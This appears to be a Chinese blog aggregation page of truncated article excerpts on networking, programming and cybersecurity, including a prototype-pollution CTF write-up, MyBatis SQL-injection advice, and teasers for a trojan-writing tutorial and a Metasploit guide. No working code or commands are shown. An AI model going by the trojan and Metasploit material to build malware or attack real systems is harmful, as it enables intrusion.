    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • Android WebView使用详解及注意事项

    未经本人授权 不得转载 否则必将维权到底 目前很多公司的 App 就只使用一个 WebView 作为整体框架 App 中的所有内容全部使用 HTML5 进行展示 这样只需要写一次 HTML5 代码 就可以在 Android 和 iOS 平台
  • Android textAppearance的属性设置及TextView属性详解

    http blog csdn net jaycee110905 article details 8762238 textAppearance的属性设置 android textAppearance android attr textAppe
  • html实现蜂窝菜单

    效果图 CSS样式 keyframes fade in mkmxd 1 0 filter blur 20px opacity 0 to filter none opacity 1 keyframes drop in mkmxd 1 0 tr
  • 【图片+代码】:GCC 链接过程中的【重定位】过程分析

    目录 示例代码 sub o 文件内容分析 段信息 符号表信息 main o 文件分析 段信息 符号表信息 绝对寻址 相对寻址 重定位表信息 可执行程序 main 段信息 符号表信息 绝对地址重定位 相对地址重定位 总结 别人的经验 我们的阶
  • 看京东架构师如何解决,数据库读写分离与事务纠缠的坑

    本篇文章讨论在数据库读写分离时使用事务的那些坑 1 在读写分离时会不会造成事务主从切换错误 一个线程在Serivcie时Select时选择的是从库 DynamicDataSourceHolder中ThreadLocal对应线程存储的是sla
  • SD卡学习笔记

    每个sector为512B 与IDE磁盘一样 通过读写命令读取一个多个sector 主控程序不需要关注SD具体是怎么实现读写与擦写的 每个sector可以耐受100 000次写操作 无限次读操作 每当sector被用命令erase命令擦除了
  • 三星被曝因ChatGPT泄露芯片机密!韩媒惊呼数据「原封不动」直传美国,软银已禁止员工使用...

    点击上方 AI遇见机器学习 选择 星标 公众号 第一时间获取价值内容 明敏 萧箫 发自 凹非寺 量子位 公众号 QbitAI 三星引入ChatGPT不到20天 就发生3起数据外泄事件 其中2次和半导体设备有关 1次和内部会议有关 消息一经释
  • Java 单测—static方法

    单测 static方法 静态方法的单测 静态方法的单测 方法上加注解 PrepareForTest 静态方法所在的类 class 调用测试方法前先要mock出类 Before public void setUp throws Excepti
  • 爱可生MySQL开源数据传输中间件DTLE首次技术分享

    10月27日 上海爱可生信息技术股份有限公司赞助的 3306 技术 Meetup 武汉站成功举办 爱可生技术服务总监洪斌分享了 MySQL 开源数据传输中间件架构设计实践 的主题演讲 并对爱可生10月24日最新开源项目 DTLE 相关技术细
  • Java岗面试:美国java程序员要求

    正文 在写这个文章之前 我花了点时间 自己臆想了一个电商系统 基本上算是麻雀虽小五脏俱全 我今天就用它开刀 一步步剖析 我会讲一下我们可能会接触的技术栈可能不全 但是够用 最后给个学习路线 Tip 请多欣赏一会 每个点看一下 看看什么地方是
  • cpu的架构

    明天继续搞一下cache 还有后面的 下面是cpu框架图 开始解释cpu 1 控制器 控制器又称为控制单元 Control Unit 简称CU 下面是控制器的组成 1 指令寄存器IR 是用来存放当前正在执行的的一条指令 当一条指令需要被执行
  • 单线程 JavaScript 的异步机制与经典 for 循环面试题

    从一个经典的 for 循环问题开始 for var i 1 i lt 5 i setTimeout function timer console log i i 1000 输出是 每隔1秒 输出一个6 共5次 原理 这样的输出 是由 Jav
  • 逆矩阵的性质

    矩阵的逆矩阵具有许多有用的性质 1 如果MM 1 I 则M 1M I 2 M1M2 1 M2 1M1 1 3 M 1 1 M 4 M 1 1 M 1 0 说明 M 1 表示矩阵M的逆 摘自 lt lt 计算机图形学几何工具算法详解 gt g
  • 测试工作内容(一)---需求分析

    当我们要做一个项目时 不管项目是一个大的软件 还是一个小的功能模块 我们在执行之前都要搞清楚 这个项目是做什么的 将会实现哪些功能需求 在时间点范围内需要我们做什么 做哪些工作 所追溯的就是需求 需求分析都需要做哪些事情 怎样做 包括以下四
  • JAVA注释

    单行注释 单行注释 多行注释 多行注释 文档注释 文档注释 放在类定义 方法 field 内部类之前才有效 此行前面这个星号只是为了好看 只有第一行和最后一行的 和 才有效 文档注释可以被javadoc命令抽取出api文档格式 javado
  • 木马编程-手把手带你进入木马的世界之木马编程

    一 基础知识 1 1 木马病毒 木马 Trojan 这个名字来源于古希腊传说 荷马史诗中木马计的故事 Trojan一词的本意是特洛伊的 即代指特洛伊木马 也就是木马计的故事 木马会想尽一切办法隐藏自己 主要途径有 在任务栏中隐藏自己 这是最
  • 希尔排序

    目录 一 原理 二 示例代码 三 算法分析 希尔排序又称为缩小增量排序 是直接插入排序算法的一种更高效的改进版本 希尔排序是基于插入排序的以下两点性质而提出改进方法的 插入排序在对几乎已经排好序的数据操作时 效率高 即可以达到线性排序的效率
  • WebGL加载跨域纹理的解决方法

    本人一直对WebGL很有兴趣 也试着尝试用osgjs写了个DEMO 很成功的出现了效果 可是当自己用ASP net写了个服务端 想用自己写的服务器提供的数据来用做纹理 可是怎么也不出来 还报错 跟了下代码 发现是用作纹理的Image对象的问
  • 华为 5G、阿里检测病毒算法、腾讯 AI 一分钟诊断,国内抗疫科技大阅兵!

    作者 马超 责编 王晓曼 伍杏玲 出品 CSDN ID CSDNnews 近期以来 国际风云不断变换 而在2020年初疫情肆虐期间 也成为我国科技实力的 大检阅 近期人民网官微致敬我们中国科技企业的排头兵 可以说掌握硬核科技成了全民的共识
  • Metasploit(MSF)基础超级详细版

    MSF基础学习看这一篇就够了 Metasploit 常见名词解释 MSF简介 MSF框架结构 MSF配置数据库 内网主机发现 MSF命令查询 常用命令 数据库管理命令 核心命令 模块命令 进程命令 资源脚本命令 后台数据库命令 后端凭证命令